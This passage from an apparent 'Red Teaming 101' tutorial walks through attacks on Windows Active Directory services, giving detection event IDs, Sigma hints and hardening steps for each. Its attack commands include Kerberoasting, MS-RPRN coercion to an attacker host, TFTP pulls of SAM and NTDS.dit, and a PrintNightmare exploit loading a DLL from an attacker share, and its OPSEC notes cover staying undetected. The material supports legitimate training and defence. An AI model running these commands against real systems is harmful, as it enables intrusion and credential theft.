Microsoft-Windows-DNS-Server/Audit), DNS debug logging enables full query/response capture (enable via DNS Manager → Debug Logging on each DNS server) - Sigma hint: EID 770 from any IP that is not a known secondary DNS server = unauthorized zone transfer attempt; alert immediately
- Hardening: Restrict zone transfers to known secondary NS IPs only (
Set-DnsServerPrimaryZone -Name domain.local -SecondaryServers @('10.10.10.2') -SecureSecondaries TransferToSecureServers), audit ADIDNS ACLs (Get-DnsServerZone domain.local | Get-Acl), remove Authenticated Users write permission from DNS zones, enable DNS debug logging in production environments
OPSEC: Zone transfers generate EID 770/771 — immediate detection signal. ADIDNS record creation writes to the AD DNS object and is visible in object audit logs if enabled. DNS subdomain brute-forcing generates high query volume detectable by DNS query rate analytics or behavioral baselines.
Phase 7 — LDAP / LDAPS (TCP 389, 636, 3268, 3269)
LDAP (Lightweight Directory Access Protocol) is the query layer for Active Directory — every user lookup, group membership check, and computer account query uses LDAP. Port 389 is plaintext, 636 is LDAPS (TLS), 3268/3269 are the Global Catalog ports. Anonymous binds and unsigned LDAP relay are the primary attack vectors.
# Test for anonymous bind — does the DC respond to unauthenticated LDAP?
ldapsearch -x -H ldap://10.10.10.10 -b '' -s base '(objectclass=*)' namingContexts
# Enumerate users via anonymous LDAP bind (if anonymous bind allowed)
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName
# Dump domain info if anonymous bind works
ldapdomaindump -u '' -p '' ldap://10.10.10.10 -o /tmp/ldap_dump
# Authenticated LDAP query — full domain user list
ldapsearch -x -H ldap://10.10.10.10 -D 'user@domain.local' -w 'Password1' \
-b 'DC=domain,DC=local' '(objectClass=user)' sAMAccountName userPrincipalName
# LDAP signing test — does the DC allow unsigned binds?
python3 ldap-scanner.py 10.10.10.10 # or use ldap_relay_scan
Why: Anonymous LDAP binds allow unauthenticated enumeration of users, groups, computers, and GPOs — a massive information leak on legacy or misconfigured DCs. Unsigned LDAP opens the relay attack path: see AI5 Phase 2 for the full unauthenticated LDAP/SMB/MSRPC enumeration workflow, and AI7 for LDAP relay chains.
Common Misconfigurations:
- Anonymous bind enabled → unauthenticated user/group/computer enumeration
- Unsigned LDAP allowed → LDAP relay vector (NTLM challenge can be relayed to LDAP for account modification)
- LDAPS not enforced → credentials transmitted in plaintext on port 389 in transit
- LDAP referrals → can leak internal topology to querying clients
Defender Block:
- Event IDs: 2889 (unsigned LDAP bind performed — critical, enable via
Domain Controller: LDAP server signing requirements = Require signing), 2886 (DC does not require LDAP signing — configuration warning), 2888 (LDAP client performed unsigned bind — client-side warning), 4624 Logon Type 3 with UsernameANONYMOUS LOGON(anonymous LDAP bind event) - Sigma hint: Any occurrence of EID 2889 = an unsigned LDAP bind happened; should be zero in a hardened environment — alert on every single occurrence
- Hardening: Set
Domain Controller: LDAP server signing requirements = Require signingvia GPO, enable LDAP Channel Binding (Domain controller: LDAP server channel binding token requirements = Always), disable anonymous LDAP bind (setdsHeuristicsbit 7 to 0), enforce LDAPS-only where possible
OPSEC: Anonymous LDAP binds generate EID 4624 ANONYMOUS LOGON — common in legacy environments but visible. Authenticated LDAP queries blend into normal AD traffic, but high-volume queries (ldapdomaindump runs ~1,000+ queries) create anomalous query spikes detectable by LDAP query rate monitoring.
Cross-reference: AI5 Phase 2 has the full unauthenticated LDAP/SMB/MSRPC enumeration workflow.
Phase 8 — Kerberos (TCP/UDP 88)
Kerberos is the primary authentication protocol in Active Directory — ticket-based, no password retransmission. Port 88 handles TGT and TGS requests. It is one of the most attack-rich protocols in an AD environment. This phase is a quick-reference summary — full attack chains, delegation abuse, and ticket forgery are covered in AI6.
# AS-REP Roasting — request TGTs for accounts with pre-auth disabled
GetNPUsers.py domain/ -usersfile users.txt -format hashcat -outputfile asrep.hashes
GetNPUsers.py domain/user:Password1 -request -format hashcat # authenticated sweep
# Kerberoasting — request TGS tickets for accounts with SPNs, crack offline
GetUserSPNs.py domain/user:Password1 -request -format hashcat -outputfile kerberoast.hashes
# From Windows (Rubeus)
Rubeus.exe asreproast /format:hashcat /outfile:asrep.hashes
Rubeus.exe kerberoast /format:hashcat /outfile:kerberoast.hashes
Why: AS-REP roasting targets accounts with pre-authentication disabled — no credentials required. Kerberoasting targets service accounts with SPNs and requests their TGS tickets as any authenticated user — the ticket is encrypted with the service account's password hash, crackable offline. Both attacks leave minimal footprints at the time of execution but are detectable via Event IDs.
Attack Path Summary (quick-reference — see AI6 for full chains):
- AS-REP Roasting → crack offline → plaintext password
- Kerberoasting → crack TGS offline → service account plaintext
- Unconstrained Delegation → coerce DC authentication → capture TGT → pass-the-ticket
- Constrained Delegation (S4U2Proxy) → forge service tickets for specific targets
- RBCD (Resource-Based Constrained Delegation) → write
msDS-AllowedToActOnBehalfOfOtherIdentity→ full impersonation - Pass-the-Ticket / Overpass-the-Hash → inject existing tickets into session
- Golden Ticket → forge TGTs using
krbtgthash — persistent domain access - Silver Ticket → forge TGS using service account hash — access specific service
Full Kerberos attack chains (delegation abuse, pass-the-ticket, golden/silver ticket, and PKINIT) are covered in AI6.
Defender Block:
- Event IDs: 4768 (TGT request — monitor for EncryptionType 0x17 = RC4, indicates AS-REP or weak encryption), 4769 (TGS request — EncryptionType 0x17 = RC4 = Kerberoast target service account), 4771 (Kerberos pre-auth failure — AS-REP roasting attempts), 4672 (special privileges assigned at logon — possible golden ticket use: DC-level logon with suspicious privilege set)
- Sigma hint: EID 4769 with TicketEncryptionType = 0x17 (RC4) AND ServiceName not equal to
krbtgt= Kerberoasting request; burst of these = mass Kerberoast sweep - Hardening: Set
msDS-SupportedEncryptionTypesto AES-only on all service accounts (removes RC4 fallback), require pre-authentication on all user accounts, use Group Managed Service Accounts (gMSA) for service accounts, audit SPNs regularly for stale or unnecessary entries
OPSEC: Kerberoasting generates EID 4769 per SPN queried — requesting many TGS tickets in a short window is the primary detection signal. AS-REP roasting generates EID 4768/4771. Golden tickets bypass the DC entirely — no logon events generated on the DC itself, making real-time detection extremely difficult without behavioral analytics.
Phase 9 — MSRPC / RPC (TCP 135, dynamic 49152–65535)
MSRPC (Microsoft Remote Procedure Call) is the foundational transport layer for Windows distributed services — DCOM, WMI, scheduled tasks, print spooler, and many more all communicate over dynamic RPC ports. Port 135 is the endpoint mapper. Enumerating registered endpoints exposes the full attack surface, and several RPC interfaces enable forced authentication coercion.
# Enumerate registered RPC endpoints via endpoint mapper
impacket-rpcdump @10.10.10.10
# Find Print Spooler (MS-RPRN) — coercion target — and other high-value interfaces
impacket-rpcdump @10.10.10.10 | grep -i 'MS-RPRN\|MS-PAR\|MS-DFSNM\|MS-EFSR'
# Null session via RPC — enumerate domain users (see AI5 Phase 2 for full workflow)
rpcclient -U '' -N 10.10.10.10 -c "enumdomusers; enumdomgroups"
# DCOM lateral movement via Impacket
impacket-dcomexec domain/user:Password1@10.10.10.10 'whoami'
# Mass coercion — attempt all known coercion vectors against target
Coercer -u user -p Password1 -d domain.local -t 10.10.10.10 -l 10.10.10.99
Why: RPC endpoint enumeration reveals which services are listening on the target and which coercion vectors are available. MS-RPRN (Print Spooler) on a Domain Controller is the most high-value finding — it forces DC-to-attacker authentication on command, enabling NTLM relay or credential capture (see AI7). See AI5 Phase 2 for the null session RPC enumeration workflow.
Common Misconfigurations:
- Print Spooler enabled on DCs → MS-RPRN coercion → forced DC NTLM authentication to attacker (see AI7 for relay)
- DCOM enabled without access controls → lateral movement via DCOM execution
- TCP 135 accessible from untrusted networks → endpoint mapper queries from internet
- Null sessions via RPC allowed → user/group enumeration (see AI5 Phase 2)
Defender Block:
- Event IDs: 4688 (DCOM-spawned child processes — process creation under DCOM host), 10016 in
Microsoft-Windows-DistributedCOM(DCOM permission error — indicates attempted DCOM instantiation without permission), 4624 (authentication events from RPC/DCOM operations), Windows Firewall logs for inbound TCP 135 from unexpected sources - Sigma hint: EID 10016 with ProcessName containing unexpected applications or from unusual source IPs = DCOM abuse attempt; 4688 with ParentProcessName =
mmc.exeorsvchost.exe(DCOM host) spawning shells - Hardening: Disable Print Spooler on all DCs and non-print servers (
Stop-Service Spooler; Set-Service Spooler -StartupType Disabled), restrict DCOM permissions via DCOMCNFG (Component Services), block TCP 135 at perimeter firewall, disable null sessions via RPC (RestrictAnonymous = 1)
OPSEC:
impacket-rpcdumpagainst a DC generates normal-looking RPC traffic — very low signal on its own. Coercion via MS-RPRN forces the DC to authenticate outward to the attacker — the event (EID 4624) appears on the attacker's system, not the DC, making it difficult to detect from the DC side alone. DCOM execution creates child processes under DCOM host — higher signal than WMI.
Phase 10 — SNMP (UDP 161, 162)
SNMP (Simple Network Management Protocol) is a monitoring and management protocol running over UDP. When enabled on Windows hosts with default community strings, it exposes the full system profile — running processes, installed software, network interfaces, routing tables, and open connections — without authentication.
# SNMP host discovery and basic info
nmap -sU -p 161 --script snmp-info,snmp-sysdescr 10.10.10.0/24
# Community string brute force
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt \
-i hosts.txt
# Full MIB walk with default 'public' community string
snmpwalk -v2c -c public 10.10.10.10
# Enumerate running processes via SNMP MIB
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.25.4.2.1.2
# Enumerate installed software via SNMP MIB
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.25.6.3.1.2
# Enumerate network interfaces and routing
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.2.2.1.2 # interface names
snmpwalk -v2c -c public 10.10.10.10 1.3.6.1.2.1.4.21 # routing table
Why: SNMP with the default
publiccommunity string gives unauthenticated read access to the full system MIB — running processes, installed software, network config, and ARP cache. This provides rich recon data (identify security tools, find internal subnets, enumerate installed services) with a single UDP connection. SNMPv1/v2c transmit community strings in plaintext — capturable on the wire.
Common Misconfigurations:
- Default
public/privatecommunity strings → unauthenticated full system access - SNMPv1/v2c instead of SNMPv3 → no authentication or encryption — community string transmitted in plaintext
- SNMP enabled on all Windows hosts → exposes process list, installed software, and network config
- Write-enabled community string → potential configuration change (rare but possible)
Defender Block:
- Note: SNMP queries use stateless UDP — there are no native Windows Event IDs for SNMP queries by default
- Detection: Network IDS/IPS rules for high-volume SNMP from a single source, NetFlow/packet capture analysis for UDP 161 sweeps across subnet
- Sigma hint (Suricata/Snort):
alert udp any any -> $HOME_NET 161 (msg:"SNMP community string brute force"; threshold: type both, track by_src, count 20, seconds 10; sid:1000001;)— detect rapid SNMP queries from single source - Hardening: Disable SNMP service if not required (
Stop-Service SNMP; Set-Service SNMP -StartupType Disabled), upgrade to SNMPv3 (authentication + encryption), change all default community strings, restrict SNMP access to monitoring systems via Windows Firewall ACL
OPSEC: SNMP MIB walks are UDP — no TCP handshake, no connection log entry, no Windows Event ID. Difficult to detect without network-layer visibility (flow data, IDS). However, a full MIB walk to a host that doesn't normally receive SNMP queries is anomalous on a flow collector baseline. If SNMPv3 is deployed, community string attacks are not applicable.
Phase 11 — FTP / TFTP (TCP 21, UDP 69)
FTP (File Transfer Protocol) and TFTP (Trivial FTP) are legacy file transfer services still common on Windows — IIS ships with an FTP role, and TFTP is used for PXE booting and network device management. Both services frequently have anonymous access enabled and transmit credentials in cleartext.
# Fingerprint FTP — anonymous login, banner, OS, bounce potential
nmap -sV -p 21 --script ftp-anon,ftp-bounce,ftp-syst,ftp-brute 10.10.10.10
# Manual anonymous FTP login attempt
ftp 10.10.10.10
# When prompted: Username: anonymous Password: anonymous@domain.com
# Sweep for anonymous FTP across subnet
crackmapexec ftp 10.10.10.0/24 -u anonymous -p anonymous
# TFTP enumeration — no authentication, try common filenames
nmap -sU -p 69 --script tftp-enum 10.10.10.10
# Manual TFTP — attempt to pull common sensitive files
tftp 10.10.10.10
# tftp> get SAM
# tftp> get NTDS.dit
# tftp> get config.xml
# FTP credential sniffing (if on same network segment / performing MitM)
# Wireshark: filter "tcp.port == 21" — FTP USER and PASS commands are plaintext
Why: Anonymous FTP provides unauthenticated file read/write to whatever directory the FTP root points to — if misconfigured to overlap with a web root or sensitive share, this is a direct path to credential files or code execution. TFTP's complete lack of authentication makes it trivially abusable for grabbing any file by name if enabled.
Common Misconfigurations:
- Anonymous FTP login enabled → unauthenticated file access to FTP root directory
- FTP root pointed at sensitive directories → direct access to web root, configuration files, or credentials
- TFTP enabled without authentication → any file accessible by name with no auth required
- FTP over plaintext (no FTPS) → credentials transmitted in cleartext — capturable on the wire
- IIS FTP with weak credentials → brute-forceable with no lockout by default
Defender Block:
- Event IDs: 4624 Logon Type 3 (FTP authentication via Windows auth), 4625 Logon Type 3 (failed FTP auth), IIS FTP logs at
C:\inetpub\logs\LogFiles\FTPSVC*(full request/response logging), 4663 (file access audit on FTP root if SACL configured) - Sigma hint: EID 4624 Logon Type 3 with SubjectUserName
anonymousorftp+ subsequent 4663 file access events from FTP root path = anonymous FTP access and file retrieval - Hardening: Disable FTP/TFTP if not required (
Remove-WindowsFeature Web-Ftp-Server), enforce FTPS (explicit TLS via STARTTLS on port 21, or implicit TLS on port 990), disable anonymous login, use SFTP (SSH) as a modern alternative, isolate FTP root from system/sensitive directories
OPSEC: Anonymous FTP login generates EID 4624 Logon Type 3 with
ANONYMOUS LOGON— same as null session SMB, easily detected. TFTP is UDP with no authentication events whatsoever — completely invisible in Windows event logs, only detectable at the network layer (packet capture or flow analysis).
Phase 12 — Print Spooler (TCP 445 / RPC)
The Print Spooler service (spoolsv.exe) runs on all Windows systems by default. It is exposed via SMB named pipes and RPC interfaces (MS-RPRN, MS-PAR). It is one of the most consequential Windows services from an attack perspective: PrintNightmare enables SYSTEM-level RCE, and MS-RPRN coercion forces Domain Controllers to authenticate outbound on command — a prerequisite for many NTLM relay and Kerberos delegation attacks.
# Confirm Print Spooler is running on target
Get-Service Spooler
sc query spooler
crackmapexec smb 10.10.10.10 -u user -p Password1 -M spooler # via CME module
# Confirm MS-RPRN is exposed via RPC endpoint mapper
impacket-rpcdump @10.10.10.10 | grep -i 'MS-RPRN\|spooler'
# MS-RPRN coercion — force target to authenticate to attacker (combine with Responder/ntlmrelayx)
# printerbug.py (from dirkjanm/krbrelayx)
python3 printerbug.py domain/user:Password1@10.10.10.10 10.10.10.99
# Coercer — sweeps all known coercion vectors including MS-RPRN
Coercer -u user -p Password1 -d domain.local -t 10.10.10.10 -l 10.10.10.99
# PrintNightmare RCE — requires unpatched target (CVE-2021-1675 / CVE-2021-34527)
# Confirm spooler active and MS-RPRN accessible first
impacket-rpcdump @10.10.10.10 | grep 'MS-RPRN'
python3 CVE-2021-1675.py domain/user:Password1@10.10.10.10 '\\10.10.10.99\share\evil.dll'
Why: MS-RPRN coercion does NOT require PrintNightmare to be unpatched — any Windows host running the Print Spooler with port 445 reachable is susceptible to forced authentication. When the DC is coerced, it authenticates to the attacker as the DC's machine account — which can be relayed to LDAP to add a RBCD entry or to other services for lateral movement. See AI7 for the full coercion → relay chain.
Common Misconfigurations:
- Print Spooler enabled on Domain Controllers → MS-RPRN coercion → forced DC authentication → NTLM relay or Kerberos delegation abuse (see AI7)
- Print Spooler enabled on non-print servers → unnecessary attack surface
- Unrestricted Point-and-Print policy → non-admin users can install print drivers → PrintNightmare privilege escalation path
- No KB5005652 patch applied → PrintNightmare (CVE-2021-34527) unpatched
Defender Block:
- Event IDs: 316 in
Microsoft-Windows-PrintService/Admin(Print Spooler loaded a plug-in — critical: monitor for unexpected PluginDll paths), 808 inMicrosoft-Windows-PrintService/Admin(Spooler RPC connection accepted), 7031 in System log (Print Spooler service terminated unexpectedly — possible exploit crash), 4688 with ParentProcessName =spoolsv.exe(process spawned by spooler — PrintNightmare/SpoolFool indicator) - Sigma hint: EID 316 with PluginDll path not matching known printer driver directories (
C:\Windows\System32\spool\DRIVERS\*) = malicious driver installation via PrintNightmare; 4688 with ParentProcessName =spoolsv.exespawningcmd.exeorpowershell.exe= active exploitation - Hardening: Disable Print Spooler on all DCs and non-print servers (
Stop-Service Spooler; Set-Service Spooler -StartupType Disabled), apply KB5005652 (PrintNightmare patch), set Point-and-Print restrictions to only approved print servers via GPO (Computer Configuration → Policies → Administrative Templates → Printers → Point and Print Restrictions), block outbound SMB from DCs to non-DC hosts at the perimeter
OPSEC: MS-RPRN coercion is quiet from the target's perspective — the DC simply makes an outbound SMB connection that gets logged on the attacker's system (EID 4624), not the DC. PrintNightmare exploitation generates EID 316 with a suspicious DLL path — loud and detectable. Coercion-only attacks (no PrintNightmare) leave minimal trace on the target beyond the outbound connection.
Resources
| Resource | Type | Pillar Relevance |
|---|---|---|
| PowerView | Tool | Items 5, 8 |
| PowerUp | Tool | Items 1, 2 |
| winPEAS | Tool | Item 1 |
| Rubeus | Tool | Items 6, 7, 8 |
| Impacket | Tool | Items 3, 6, 7, 8 |
| Certipy | Tool | Item 8 (ADCS) |
| Whisker / pyWhisker | Tool | Item 8 (ACL) |
| CrackMapExec / NetExec | Tool | Items 3, 7 |
| Mimikatz | Tool | Items 3, 7, 8 |
| Coercer | Tool | Item 7 |
| GodPotato | Tool | Item 2 |
| PrintSpoofer | Tool | Item 2 |
| PKINITtools | Tool | Items 7, 8 |
| PayloadsAllTheThings - Windows PrivEsc | Reference | Items 1-4 |
| PayloadsAllTheThings - AD | Reference | Items 5-8 |
| HackTricks - Windows PrivEsc | Reference | Items 1-4 |
| ADCS Research (Certifried/ESC) | Research | Item 8 (ADCS) |
| GOAD Lab | Lab environment | Items 5-8 |
| HTB Pro Labs (Offshore) | Labs | Full chain |
| CRTP (Altered Security) | Certification | Items 5-7 |
| CRTO (Zero-Point Security) | Certification | Items 5-8 |
| OSCP (OffSec) | Certification | Items 1-4 |
Part of the Red Teaming 101 series.